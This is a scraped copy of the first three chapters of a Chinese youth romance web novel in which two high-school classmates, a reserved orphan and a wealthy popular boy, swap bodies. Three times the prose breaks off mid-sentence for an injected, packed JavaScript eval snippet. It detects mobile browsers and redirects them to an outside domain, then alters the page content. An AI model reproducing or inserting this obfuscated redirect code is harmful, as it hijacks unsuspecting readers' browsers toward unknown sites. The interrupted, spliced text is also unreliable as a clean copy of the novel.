《那场雨最明亮》 1. 第一章 夏季的大雨措不及防,兜头淋得又凶又猛。一夜过去,云销雨霁,整片晴空被洗得发翠。 路洱起晚了,此刻连走带奔地赶往三中。七点准时上课,她卡着五十九分进了大门。 值日生瞥她一眼,并没有在巡检表上落笔。路洱松一口气,抬手抹去额发下冒出的汗。 怀安三中的校服白底蓝边,闷得透不过气。大热天加持下,路洱走几步,汗水涔涔地掉。 白短袖本就不防走光,又被大团大团的水渍洇湿,眼下几近透明。少女细细的肩带若隐若现。 无奈下,路洱便进了一楼拐角的女厕所。她习惯了在包里备一件衣服,这会儿随便躲个隔间换衣服。 路洱留着齐耳短发,汗水把头发黏成糊糊的一绺。她抻手套衣服,顺手别那一绺发到耳后,露出线条姣净的脸廓。 这齐耳短发曾被不少人诟病过。而此刻,路洱只庆幸是短发。 不然这大暑天的,长发会热成什么样? 换下的校服另用了一个干净的小袋子装。路洱收拾妥帖,接着往楼上教室走。 她读理科班。学校自古都有个不成文的规矩,便是重理轻文,怀安三中也没当那个例外。 理科班按重点普通,从高到低楼层分布。可惜路洱所在班只是普通班中的一伍,与低楼层无缘。 整栋高三楼共六层。爬完第五层,路洱一擦额头,又握到满手心的汗。 她再一次庆幸短发的好处。 三中七点零二分开始早读。路洱卡点进的门,又在厕所耽误了一会儿功夫,早读时光消磨掉了一半多。 她从十八班后门进去的。上天眷顾,那个坏脾气的秃鹫主任不在。前边站着的同学,稀稀拉拉地朗读着“壬戌之秋,七月既望”,后边同学已经坐回凳子上,有几个甚至还聊起了天。 这样的情况,无疑对路洱更有利。 少部分后排的人投来一瞥,她面色平淡地走向自己的座位。 十八班教室的座位分布是非对称的形状,最左列单人桌,剩下全是双人桌。单人桌与旁边双人桌的间隔被压缩去大半,跟个少了面饼的夹心饼干一样可怜兮兮。 路洱的座位正是单人桌的一个。她盯着几乎被侧出来的人身、无处安放的书箱占满的过道,一声不发,只努力收缩起肩膀,回到自己座位。 她小心翼翼,依然没避免掉意外。 单人列的倒数第二桌上,书本堆放得显然超出了主任一支笔的要求。偏偏那堆书还向外扩张,大半地悬空,路洱没留神,手臂碰掉了顶上的一本数学习题册。 课本的主人一副埋头睡得不知天昏地暗的模样。怕人醒来兴师问罪,多个不必要的麻烦,路洱忙弯身捡起那本练习册子。 把书归回原位,课本主人恰巧也悠悠转醒了。 他穿的字母连帽卫衣,脚上套双阿迪达斯的白球鞋。从头到脚的一身,就没哪里不是大牌。 阮西颜有对乌亮的眼,只是这会儿没睡醒,惺惺松松地跟海雾似的。 他大概看清了路洱的脸,嘴角习惯性扬起个弧度。笑涡挂颊左侧,不大,落在路洱眼底就刺眼多了。 路洱挪开眼,回到了原位。 — 早读完下课,教室里一片静悄悄。大部分人在补觉,极个别嘴里还吞咽着干包子,定睛一看,眼皮不知何时都叠在一块了。 路洱差不多也是这种情况。只是她习惯了,而且比旁人更能忍受这些困意。 一般来说,早读除了班主任查个迟到人数,秃鹫主任不定期巡下早读纪律,剩下时间就属于无人看管状态。 有的同学就会借机溜出去接水。五楼总量一台饮水机,大热天的,几个班的人争着轮流接,队排得像麻麻密密的黑蚁。 当然也有几个机灵的,掉头去了别的楼层接水。陈想就是其中一位,他拎水瓶大摇大摆进了教室。 旁边趴着睡,没睡着的朋友抬脚拦住:“给爸爸分点水。” “滚。”陈想比个大中指,毫不客气。 他把水杯搁桌上,脑袋张望四边。见着对面的路洱正要开口喊,想了想,又转而走到她桌子边:“班长,老班叫你去办公室。” 路洱点个头表示自己知道了。她放下吃一半的奶黄包,起身。经过讲台边的红挂历时,微微停了下步。 红挂历上的数字还没改。距离高考还有298天,不对,现在应该是297天。 路洱打算顺手改的。转念想还有班主任的事,决定等一会上来再说。 今天的奶黄包馅料又瘪又软,沙沙地黏在口腔。路洱舌尖慢慢地舔掉,记起自己刚才出门,好像没有带水瓶。 班主任叫邓连春,教物理的中年男人,一个非常中规中矩的家伙。不管是教学上,还是性格上。 路洱还挺满意他这一点。 能减少麻烦。 邓连春只让她带了份金太阳教辅资料的自愿订购签名表回去。说是自愿,私底下的规则,懂的都懂。 路洱以为只有这事,转身要走时,邓连春又蓦地叫住了她。路洱心一紧。 “顺便拿数学作业回去发吧,你们第一堂就是数学课。”邓连春指了指边上的空桌子。 幸好不是说迟到的事。路洱心底吐一口气,抱起那沓作业本离开办公室。 — 回到教室,路洱发现红挂历上的数字不知何时被改掉了。或许是值日生记起这事来写的,路洱不甚在意。 作业大组形式交,大组形式发。路洱分好其他四个大组的作业,拿自己那列单人座的份下去发。 替前边几个睡觉的放到桌上,路洱刚转身要递给后边同学,见那人在睡觉。犹豫了一下,抽出后桌的本子放桌上,再传给后面的后面人。 一个位置有一米多长,伸手不够距离。路洱得起身过去。 后桌的后桌倒是醒了。她把手里的两本放他那堆书山上,他一扬眉,笑了,眼神比刚刚澄明:“谢谢。” 路洱不说话,径直回了座位,显得有点冷淡。这是她一贯的对话风格,对不熟悉的人,话能省就省。 阮西颜没说什么。 高三生的课程日常地枯燥。两节数学过去,十八班的同学们依然是昏昏欲睡。这次清醒的除了路洱,还有陈想、阮西颜在内的几个。 阮西颜右边的同学请假了,陈想便一屁股占了空板凳。他们在聊天,路洱离得不远,听得清楚。 陈想:“中午去打球?” 阮西颜懒洋洋的:“不去。” 陈想:“为什么?” 阮西颜笑了声,目光抬着,示意远处的红挂历,一字一腔地念:“看到没?距离高考还有297天,你还有心思打球。时间就是金钱,你不要浪费我的钱。” “……有病。”陈想一脸大白天见鬼了的表情,“你改个数字,被日历里的鬼附身了?” 路洱避免不了那些声音钻进耳朵。她在背古文实词,语文这类理解性学科向来是她的弱项。 不爱珍器重宝肥饶之地,爱,是吝啬的意思。路洱一边在笔记写下释义,心思一边不由自主飘散。 原来红挂历的时间是阮西颜改的。 后边人的对话仍在继续。 快上课了,陈想搡一把人肩膀:“到底打不打球?” “体育课打。” “那中午不打?” “不打。” “为啥?”陈想打破砂锅问到底。 阮西颜正要说话,窗户外的雨忽然飒飒着下了起来。雨点渐大,砸在玻璃上,拳头一般的势头。 阮西颜笑:“你看,现在打不了了。” “下雨了。” — 这场夏雨持续到了晌午。太阳光从白云朵后晃出来时,雨刚停不久,路面一个个碗状的水洼盛着雪亮的珍珠。 午饭的点,路洱找了个安静的树底,拿自己带的餐盒吃。 三中没有规定写着不能带餐盒来吃饭。路洱之所以这么做,一是方便上教室,二来是校园随便哪块地儿,都比食堂清净多了。 她不是每天都带。午餐是她前一晚提前做好的,有时候没那个精力。 今天午饭是油菜香菇、辣椒鸡蛋和米饭。路洱兜里塞MP3,里边下载的大都是英语听力,偶尔有几首歌。 路洱一口一口往嘴里送饭,静静地。 耳机里的歌在循环播放,歌名是十一。 路洱喜欢这首歌,始于她喜欢雨天。理由简单,下雨天的世界宁宁静静,唯有雨在滴的声响。那并不聒噪,相反地,她很喜欢。 路洱一直是这样。她沉默少言,像透明的氧气,不想接触别人,也不想被别人发现。 只活在自己的世界中。 吃完午餐,路洱起身离开这里。惯性似的,她侧眼扫了一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180925|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操场。 阮西颜确实没来打球。 怀安三中是普高,就附近来说,教资既不比遥遥领先的二中,也不比身为后起之秀的七中。 校长三令五申,给学生们下的洗脑宗旨,便是“勤能补拙”、成为“小镇做题家”。 一天到晚,刷题最重要。 于是测验成了课程里的重要组成部分。午休前小测,晚读前小测,三天一大测,两周全校大型考。 这不,吃过饭,还得赶回教室写小测。路洱回想起爬五楼的艰辛,以及食堂的拥挤,又一次觉得,带餐盒是个明智之举。 热天,米饭噎喉。路洱嘴干舌燥,她回了班里才记得忘带水瓶这一茬事。不由得后悔一下为什么不去小卖部买瓶水。 后悔没用。路洱隐约想到,饮水机边上放有塑料杯。前不久疫病流行,中招感冒的人不少,学校在边上熬了份草药给大家喝。 草药撤走了,塑料杯还留在原地。 幸运的是,装杯子的塑料袋还在,不幸的是,里边空无一物。 路洱有些失望,她没表现在脸上,只抿了抿干涩的唇角。 饮水机旁立着的另一个人动了动,脸庞扭向这边:“找塑料杯?” 声线清冽,是被溪水浣洗过的嗓子。路洱印象里的男生,阮西颜是独一副。 路洱不太想回应,但再不答显得不礼貌了:“嗯。” “十五班收走了。”阮西颜转头,十五班紧邻饮水机,“你想要的话,我去问他们班人要一个。” 路洱知道阮西颜人缘好,属于串一遍全校,每个班都有人喊他的名字那种。 她不知是怎么想,摇头说:“不用,谢谢。” 转身离开的时候,脚步比起平时快了不止一点。 — 下午第二节是体育课。路洱借骤雨初歇的间隙,把校服晒干了。上体育课的时候,她就换回了那件白底蓝边的短袖。 体育老师吩咐体委带同学们跑了几圈,就可以自由活动了。 按理来说是跑个两圈半来着,而过完一圈,路洱低身系鞋带,再抬脸时,十八班早已散了个七七八八。 队伍解散,路洱往树荫下走,手背蹭了蹭脸颊的汗。怀安市一年四季,夏天永远猖狂又漫长。 女生们躲树影下休息,男生们还在操场上打球。理科班男生多,三五成群,路洱一眼,仍瞧到了阮西颜的身影。 他脱掉那件字母卫衣,打底的盐蓝色短袖同样价格不菲。路洱翻阅杂志时草草浏览过,Nike联名款,起步价八百来元。 此刻,阮西颜运着球,眨眼间冲出身旁重围,来了个三步上篮。 利落分明。陈想在边上勾他的肩,大概率在夸他,而阮西颜跟人说着什么。不用多加思考,路洱都能知道他是在笑的。 路洱收回视线,她待在一个僻静的树荫下,取出口袋里的英语卷做。 远处一点儿,女生们拿小电扇呼呼吹,说着明星、漫画书、八卦之类的话题,或笑或闹。 路洱听不懂,融不进她们之间。她在十八班没有朋友。准确地说,她在整个三中,都没有什么朋友。 路洱不在乎,她低头做卷子。 不知道多久,耳边落入一阵熟悉的声音,由远及近。路洱抬目,见阮西颜、陈想一行人朝这个方向走来。 路洱身后离小卖部不远。明知他们是去小卖部,避无可避经过自己,路洱还是将头垂得低了一些。 阮西颜几人谈笑着走过去了。路洱缓气,继续沉心静气写卷子。可没那么如愿了。 她盯着那几个熟悉的单词,频频发呆。恨铁不成钢地敲了敲额头,路洱接着专注做题。没几秒,头顶就被雨粒一拍,冰凉冰凉的。 乌云密集,大雨措手不及。路洱手攥卷子,慌忙起身跑,却见阮西颜在眼前,正举着把伞看她。 阮西颜的眼睛形状,趋于圆润,褶线垂下边儿,像只清澈的早月。他卧蚕又天然地大,那装着笑的眼睛里,少年气一瞬间就漫延开了。 路洱这才意识到,自己不敢正视阮西颜的双眼。 她匆匆擦身要过,那一刻,阮西颜开口就梗滞了她的动作。 阮西颜无奈地说:“你就这么想躲我吗?” 路洱有点恍惚。 一周之前,他们还是认识的。 然而,再提前一个多月,她和阮西颜,是不认识的。 2. 第二章 一个多月前,是六月末。 三中的高三教学楼前有大片梧桐树。上午刚下过雨,午后又放晴,烈阳照在梧桐林间,投落一寸寸明亮。 枝叶端的雨水滴下来,路洱脸上一凉。她心思不在这上面,擦掉那粒水珠,继续听手机那头的人说话。 “小洱啊,你也不是不知道,家里的钱都是在你阿姨在管。”二叔的声音带着为难,“你婶婶不想给,那我也拿不出来啊。” “要不,你像你婶婶说的那样,去试一试暑假工嘛?叔叔外帮你垫两百块钱……三百块钱,行吧?” 沉默许久的路洱,低低说:“我知道了。叔叔,谢谢您。” 挂了电话,路洱用大拇指和食指,抵住眉间揉了揉。 临近暑假,学校为高三生预订了下学期的复习资料,林林总总,共计千来元。换作别的学生,或许只当是一笔额外支出的生活费,而对路洱而言,就不止是一堆书本了。 一千的每一元,在她这里都有重量。 因为路洱清楚,那连零花钱多分她一角,都会锁眉头老半天的二婶,绝不可能在这笔书费上退步。她提议让路洱去做暑工的想法,入夏前就絮叨个没完了。眼下有这么个好机会,她更是不会松口。 路洱叹气想,看来这个暑假得多出门转转,碰一碰运气了。 这时,远处的楼梯拐角,出现了几个勾肩搭背的男生。 两周之前,高考结束,怀安新一届高三升进这栋教学楼。杂物在搬入前就清理完毕了,楼间稍显空旷。因此男生们的说笑落进路洱耳朵里,还怪清晰的。 其中一个人说:“明天就放暑假了,你们要去哪玩?” “云南吧,我去昆明避暑。” 有一个男生极其不屑:“就一个多月,还大热天的,能去哪玩啊?我要躺家里打游戏,拿这个暑假冲分。”路洱记得这人,同班的陈想,课堂上的积极分子,不是回答问题积极,是捣蛋比较积极。 陈想说罢,顺手勾上了旁边人的肩膀:“你说是吧,西颜?” 旁边那人不是几人中个子最高的,气质却是张扬得紧。黑发,肤白,反戴的鸭舌帽,远远地,路洱望见了他手上转得跟陀螺似的篮球。 怀安三中没哪个学生能出名到被全校皆知,而阮西颜偏是那个特别。有关他的事迹,一心只读圣贤书的路洱,都捕捉过个大概。 据说他隔三差五能收到女孩子情书,人缘好得在学校一呼百应。因为家里给三中捐了所教学楼,迟到了都是被校长给恭恭敬敬迎进教室里的。 传闻里是否有夸张的成分在,路洱不知道。总之,阮西颜,实打实的一位富家少爷。 阮西颜回话:“阿,我妈给我报了补习班,就不出去玩了。” 陈想夸张地拔了嗓:“就你?上补习班?别搞笑了吧……” 几人的笑闹声渐渐消失在拐角。 路洱收起了目光,没有多看。 — 路洱到家时,二叔二婶在客厅中聊着什么,见她回来,顿时默了声。堂弟路明毅窝沙发上打游戏,声音外放,使得室内一时只有噪耳的杀人音效在响。 路洱就在这诡异的寂静中进了屋。她率先打破沉默:“叔叔,婶婶。” “小洱回来了?”二叔冲她笑,不太自然。 路洱垂眉:“嗯,放假了。” “放多久啊?” “一个多月。” 二叔没话说了,诡异的沉默再次蔓延。 这个家里,路洱是外来者。她九岁那年,母亲父亲乘坐的飞机意外失事,双双遇难。路洱一夜之间成了孤儿,周边亲戚没人愿意接手这么个小拖油瓶,几番推诿下,路洱最终由二叔路国烊与二婶崔凤收养。 路国烊和崔凤有一个儿子,路明毅,比路洱小五岁,今年即将上初一。从九岁到十六岁,她依然没能和这一家子人亲近起来。 原以为几人的尬聊就此结束,路洱像往常一样径直要回房间,崔凤开了口:“那个,小洱啊。”她像是在斟酌言辞,隔了一会儿才说,“你们要订的那个,一千多的,是复习资料吗?” “一千块钱也不是小数目啊,你看,明毅准备开学了,还得好一笔学费呢。你二叔血压高了,买降压用的药也要花不少钱。家里一时拿不出多余现成的钱……”崔凤递了个余光看她,“不如这样吧?你刚放暑假,闲着也是闲着,用这个时间打份暑假工,正好能挣钱。我同事认识个电子厂,我可以让她把你介绍进去……” 路洱全程安静听着,眼睛没抬起过。直到这,她抬头,露出一点表示听完了的神色:“我知道了婶婶。” 路洱又垂下眼睫:“暑假工我会自己找的,您不用帮我费心。” “呵呵哈,”路国烊好像想缓解气氛,尬笑两声,“打暑假工好啊,去锻炼自己。要不是明毅年纪小,我都想叫他去打,臭小子放假了就知道打游戏。” 路明毅正值叛逆期,脾气大得跟火药桶似的,一点就炸:“关我屁事?她爱打自己去打啊?” “你个臭小子怎么说话的?” “你爹的烦死了!” 路洱轻脚进屋,“咔哒”落锁,把嚣杂关在身后。 路洱卧室门后面挂着个记事簿,里面记录着路洱六年来在这个家所有的花销用度。 寄人篱下,处处需得小心。自九岁起,她便深知这种滋味。 — 隔天早上,路洱醒来后,手机上多了条路国烊发来的三百块钱转账。 她点了接受,揉着眼皮下床。离开房间前,拿圆珠笔在记事薄添下这三百块。 二叔二婶上班去了,堂弟大概率没醒,客厅空着。路洱简单吃了碗粥,把衣服晒了,提着袋垃圾下楼。 一个三十多岁的女人正面从楼梯上来。她烫了头,黄发微卷。路洱先发现她,主动打了招呼:“米娜老师。” 米娜是三中老师,教十八班英语,住路洱家隔壁。米娜老师有个六岁的小女儿,叫米恬。三年前离婚后,她便独自抚养女儿长大。 “早上好,去倒垃圾啊?”米娜老师微笑回她招呼。她气质温婉,看上去总是比实际岁数小得多。 路洱点头:“嗯,顺便去书店。”昨夜入睡前收到了个好消息,她先前做过家教的那户人家再次招人,并且这次优先找上了路洱。 意味着路洱可以少找一份暑工。 那户人家姓姜,姜阿姨的儿子姜言言读小学,路洱主要给人辅导数学。她这次出门,就是为了买教辅书,做相应的教学备案。 “班长就是让人放心啊,放暑假了还记得好好学习。”米娜老师望着她笑,旋即想到什么,问,“对了,有兴趣的话,来上我的英语补习班吗?你的英语……期末考是一百一十二分吧?看你的基础,跟着我学习,还可以提升个三十分。” “看在我们两重关系的份上,你就不用交补习费了。” 路洱知道米娜老师很关照自己,除了会学习上开个小灶,邀请路洱去家里做个客,还会偷偷给路洱塞生活费。 她总是愿意在路洱身上多分一点精力。这些明里暗里的好意,路洱都看在眼里。 路洱嘴角抿出微微的笑意:“谢谢老师,我回去考虑一下。” 告别米娜老师,路洱走在去往公交站的路上。 怀安市入夏早,三十来度的天,大白光几乎能杀死人。路洱走了几步,阳光像在脑门上烧。 她不是不愿意顶着大热天做暑假工,只是这里能做的暑假工实在太少。 大马路上交叉着树影子和汽笛声。路洱静静等着,站台边忽然多了些声响。 她扭头,见一个男生把山地车停在家冰激凌店前,车上坐着个七八岁的小女孩。 阮西颜蓝白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180926|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' T,五分裤。酒红色鸭舌帽依然被反扣在头上,路洱忍不住多看了一眼。 女孩跳下车,嘟囔声听着非常不满:“堂哥,你起床也太晚了,我想吃的抹茶估计都没有了。” “让你非拉我来买,这个点,你堂哥我起得来已经是奇迹了。”阮西颜弯腰在她额头弹了弹,笑,“还没进去呢,怎么知道有没有?” “肯定没了。”女孩依然气鼓鼓,“惩罚你,我要吃两个。” “行,买两个,吃不完是小狗。” 那家冰激凌店是国外某一知名品牌,均价二十几块钱。路洱没吃过,听说味道还行。 她不会花钱在这种地方,既是买不起,也是没有必要。省钱还债的道理,路洱学了六年。 路洱清楚自己和阮西颜这类人的差距。那是天堑,她到达不了,仰望不完。 一大一小的身影没入视野。公交车来了,路洱收了视线,上车。 — 来电声猝然一响,阮西颜踩脚踏板的动作慢了慢。他歪头,单个手把手机抽出来:“喂?” “你还没到啊?现在在哪呢?” “刚送完我堂妹回家,在路上了。”阮西颜跟几个朋友约了在家打火锅,“你们开始了?” “打牌呢,就差你了。”陈想想了想,交代说,“我们开火了,你买点饮料来吧,我冰箱里应该没能喝的了。” “好。” 挂掉电话,阮西颜稍微垂了眼,把手机塞回兜。这个动作只用了几秒,他再抬目时,却见车子即将撞上个一旁冒出来的女生。 “小心!”阮西颜叫她,猛按刹车。 那女生反应也机灵,听见声顿时闪到一边。只是她怀里的书遭了罪,哗啦啦散在地。 “对不起对不起,你没事吧?”阮西颜刹了车停路边,跑上前查看女生情况。 少女齐耳短发,看着和他年纪相当。她的眉细,眼神有些冷。阮西颜过了一会儿想起那个形容眼睛的词,黑白分明。 来人正是路洱。 她针对教习计划,在书店买好辅导资料。没料到出门就碰到这茬,好巧不巧,撞她的人还是阮西颜。 路洱摇头:“我没事。”她低下头要捡书。 “没事就好。”阮西颜不好意思,抢先拾个干净,递给她,“对不起啊,打电话没注意看路。” 没有什么事,她不想多耽搁。路洱说了句关系,沿旁边人行道走掉了,没回头。 阮西颜还留在原地。 他总觉得女生眼熟,眺几眼她的背影,跨上车骑出几里,又咂摸几下,终于后知后觉她的来历。 这个女生好像是……他的班长? — 夏季的天黑得晚,路洱做完晚饭,霞光正被一点点地纳入山头。一朵乌云凝在天际,那片阴影渐渐积淀得更浓。空气里也多了些凉意。 是下雨的征兆。 饭桌上笼着沉默。路洱第一个吃完,还得等整个桌边空了收拾去洗碗。 她这次先回屋写备案,等时间差不多了,路洱要拉开卧室门,忽地听见崔凤和路国烊的谈话声。 路洱脚步顿了一顿。 “血压没高也要买药来吃吗?”二叔声音略低,听着有些愁。 二婶的嗓门就强势多了:“你笨啊,难道她还会来咱们房间查你买没买药啊……” 说话声弱了一些。路洱握门把手的手指不动了,好半天后,她放下了手。 关了窗户,房间里又闷又热。路洱房间里没有电风扇,睡前她一般会脱掉上衣睡觉。 阮西颜在朋友那儿打牌吃火锅,收掇完回了家,还得陪堂妹玩角色扮演。折腾一天,他筋疲力尽,从头到脚都像灌满了铅。 他早早洗了漱上床睡觉,太累,以至于房门掩了条缝也没注意到。 夏雨落下来了。从淅沥,到庞沛。 3. 第三章 路洱做了个梦,梦里她被一条大舌头狂舔。大舌头怎么甩也甩不掉,路洱跑了一路,它追了一路。 最后路洱没力气了,被那条红通通的大舌头扑倒。舌身淌着哈喇子,腻乎乎,带着热气,感觉是新鲜出炉的。 晕忽里,路洱眼睛打开一条缝。然后,然后,她就发现…… 那舌头还真是新鲜出炉的。 大肉爪,黄毛发,涎水味。每确认一个点,路洱的心便多凉一分。 她颤巍巍上移视线。 只见身边被褥上,趴了只有半个路洱那样大的金毛。金毛正吐着舌头,见主人醒了,尾巴立刻高翘,狂摇,爪子要扑跌来了。 路洱躲闪不及,只觉脸颊多了一层厚厚的黏热的触感。和梦里九分像。 路洱:“……” 如果这是个梦,那她希望快点醒来。 可是。 这怎么看都不像个梦啊??! 路洱触电似的一下子腾跃起身,转个头,视线触及周边全然陌生的环境,登时懵了。 ??这里是哪? 疑问没能解决,因为那只大金毛紧随她立起了身。雀跃、晶亮的眼神钉在她身上,明显一副虎视眈眈、蓄势待发的模样。 完蛋。 不是,她怕狗啊!! 与此同时。 炎炎夏日,空气里浮动着热气。热气像一张猎网,收紧了直把人绞死。 阮西颜就是给热醒的。他迷糊糊地扯开眼皮,脖子上的汗水还在流,黏腻地打湿了整片肩膀。 他昨晚没关空调吧?怎么这么热。 阮西颜下意识伸手去擦汗。肩膀光裸的那块覆满了汗,他指腹顺着线条揩,忽地摸到一条细长的带子。 阮西颜:“……” 不敢置信地,他揪了揪那条细带子。是穿在他身上的,没错。 像是印证心中的猜想,阮西颜低头,胸口前裹了圈鹅黄色布料,再往下,是一截纤瘦的腰腹,皮肤白得反光。 这明明白白,是一副属于少女的身躯。 阮西颜石化了。 ……他不是在梦游吧。 阮西颜一个鲤鱼打挺,倏地弹起了身,底下床,天蓝色,正对面,棕木桌,右手边,绿窗帘。被子角,还有本没合上、字多得他花眼的数学书。 这不是他房间。 那这是哪里??!! — 路洱在这个陌生房间里上蹿下逃,大金毛在后尾追逐她跑。床头、沙发椅、飘窗台,路洱无极所用,大金毛却似乎更欢喜了,步步紧逼,姿态中燃着亢意。 最后路洱被堵在墙角,无处可逃。 眼看着邪恶大金毛耸着毛茸茸的大脑袋,朝她慢慢靠近,关键时刻,门“砰”地被人推开了。 女孩七八岁大,环顾一圈房间,目光落在正纠缠着的大金毛和路洱身上,顿时无语住了:“我还以为什么动静呢,毛毛,过来。” 听见女孩的话,大金毛扭屁股,倒是顺从地跟人出去了。危机解除,路洱终于松了一口气,贴着墙壁滑坐在地。 忽地想到什么,来不及安抚狂蹦的心脏,路洱就连忙喊住那个女孩:“等等!” 声音一出,一口纯粹的男生音色也击破了路洱心中最后一丝希冀。 女孩睇她,一脸有什么屁赶紧放的表情。路洱艰难咽了下唾沫,手指向自己,说:“我是谁?” “……” 女孩沉默了,只有抽动的嘴角暴露了她此刻的心情:“堂哥,你的中二病这么久了还没好吗?” 好在吐槽归吐槽,女孩还是给了个回复:“你,阮西颜,我,阮棠的堂哥,现在是二零X年的六月三十号上午十一点零一分,你的任务就是,下楼,吃早饭,然后,跟我玩蛋仔派对。” 阮西颜不知道自己用了多久才消化完他变成女孩子的这一事实。 第一件事,他忍着发热的面庞,火速把床头挂着的短袖套了穿上。 数学书上没写名,阮西颜转而在桌子上发现枚小镜子。忐忑着心,他举起镜子。 少女的五官姣姣气气,眼睛透着没来由的熟悉。阮西颜花了一点时间,回想来这个女孩是谁。 ……是昨天差点撞到的那个女生。 他的班长,叫什么名字来着? 桌旁堆放着的课本花花绿绿,阮西颜顺手抽了本翻开第一页。 路……洱。 阮西颜努力回忆有关这人的事,发现实在少得可怜。印象里,他的班长成绩优异,话少安静。 ……所以他为什么会变成路洱? 肯定是在做梦吧。阮西颜当即决定再回去睡一觉。 闷闷的振动声突然响起,阮西颜愣了愣,左右张望一阵,最后在枕头下捞到个手机。 来电没备注,陌生人。可只看一眼来电号码,阮西颜几乎要热泪盈眶了。 这是他的手机号码啊! 路洱用了几分钟冷静下来,确认自己完完全全变成阮西颜之后,就尝试寻找解决办法。 打晕等睡醒过来的方法太不靠谱了。毕竟大金毛舔舐脸颊的感觉,真实得她一回想,浑身就忍不住起鸡皮疙瘩。 思忖间,路洱在卧室里找到了阮西颜的手机。手机设的指纹解锁,路洱摁上大拇指,手机成功打开。 她猜测,她变成了阮西颜,那很大概率,阮西颜也变成了她。 抱着这样的想法,路洱拨了自己的手机号码。 八秒后,电话接通。 “……” “……” 第一时间,双方竟然都先沉默下来。路洱反应得快,说了声:“阮西颜?” 听着电话那头的人,用自己的声音喊自己的名字,实属诡异。阮西颜压下多余的想法,回应说:“我是。你是……路洱?” “嗯。”果然,事实和想象中一毛一样。路洱揉了揉太阳穴,“不知道怎么回事,我们两个,好像互换身体了。准确一点,可能是互换了灵魂。” “……”这种超自然现象还是太烧脑了,阮西颜茫然地问,“那我们该怎么办?” 路洱深吸一口气:“我也不知道。我们先见面,看一下具体情况,再讨论对策吧。” “……好。” “那我们在……昨天遇见的那家书店见面?” “书店不好说话。”阮西颜想了想,“旁边有家咖啡店,我们约在那里吧。” “嗯,好。” 挂掉电话,阮西颜做了个长长的深呼吸。事到如今,他也不得不接受这种离奇的怪事了。 — 然而,万事开头难,阮西颜的拦路虎,就在出了房间门后。 崔凤今天没上班,看路洱从房间出来了,顺口吩咐:“小洱,吃了早饭,记得把衣服洗一下啊。” 阮西颜走出几步后才意识到是在叫自己。他回头,在原地迷茫地犯起了犹豫:“洗衣服?” “嗯,厂里热,出汗臭,就多换了几件。”崔凤没发觉异常,躺在沙发开了电视看。 路洱的看起来像妈妈的女人叫她去洗衣服……不对,是叫他,阮西颜去洗衣服。 这个家空间不大,厨房、客厅和三间卧室抬头就能尽收眼底。洗衣机依傍着小型阳台的过道,阮西颜径直走过去,看见了一个装着脏衣服的铁皮桶。 阮西颜不是没用过洗衣机,家里一台全自动和一台洗烘一体机,他都能简单上手。 只是面前这台带个正方形凹槽和圆盖子的洗衣机……他怎么没见过啊? 阮西颜沉默了。 他只会用家里那种的。这种洗衣机,他可谓,一,窍,不,通。 阮西颜蹲下身,刚想原地搜索教程,看见屏幕上弹出的密码解锁时又沉默了。 他忘记问路洱手机密码多少了。 阮西颜不信邪,指纹解锁没有就算了,面部解锁也没有吗? 他把手机怼脸上,等了一会儿,事实证明,确实没有。 阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180927|180963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西颜:“……”他有点生无可恋。 万幸天无绝人之路,路洱一个电话跳了出来,阮西颜紧忙抓住这枚救命稻草。他偏头瞟瞟崔凤的方向,往阳台闪了几步,低声:“喂?” “我忘记告诉你我家住哪里,还有那个手机密码,抱歉。”路洱歉声说,“密码是1117,我家住在平林路,你……” 阮西颜被她的及时救援宽慰到了,忙说:“没关系,我导航出去就好了。”他声音又轻了点,生怕一个心虚暴露,“那个,你妈妈叫我洗衣服。你们家的洗衣机……我不会用。” 路洱明白什么,立刻说道:“那不是我妈……算了,我家用的双缸半自动洗衣机。” “你听我指挥吧。”阮西颜走回洗衣机前,电视放的综艺,恰好能掩盖这边的动静,“先把衣服颜色按深浅分开,你看有多少衣服放多少水,然后加洗衣粉,定个十来分钟……” 阮西颜:“先洗浅色衣服吗?” 路洱:“嗯,洗完浅的再洗深的。” 阮西颜按口头教程进行,百思不得其解,“这个排水管怎么没出水?” 路洱:“……应该没连通水龙头。” 阮西颜一阵窘迫:“……原来这样啊。” 这片地没空调吹,阮西颜排水、加水、脱水,一番操作下来,他满头大汗。 “最后的这个可以回来再脱水吗?”双桶洗衣机噪音颇大,阮西颜提高了声,“在这里等有点费时间。” 路洱听见他的喘气声,微微垂目:“嗯,可以。” “……”静默片刻,她说,“不好意思,让你做我家里的活。” 阮西颜摆手,语气活泼:“这有什么大不了的,我不做的话,我们不就穿帮了吗。”他随后问,“你那儿还好吗?能找到位置吧?” 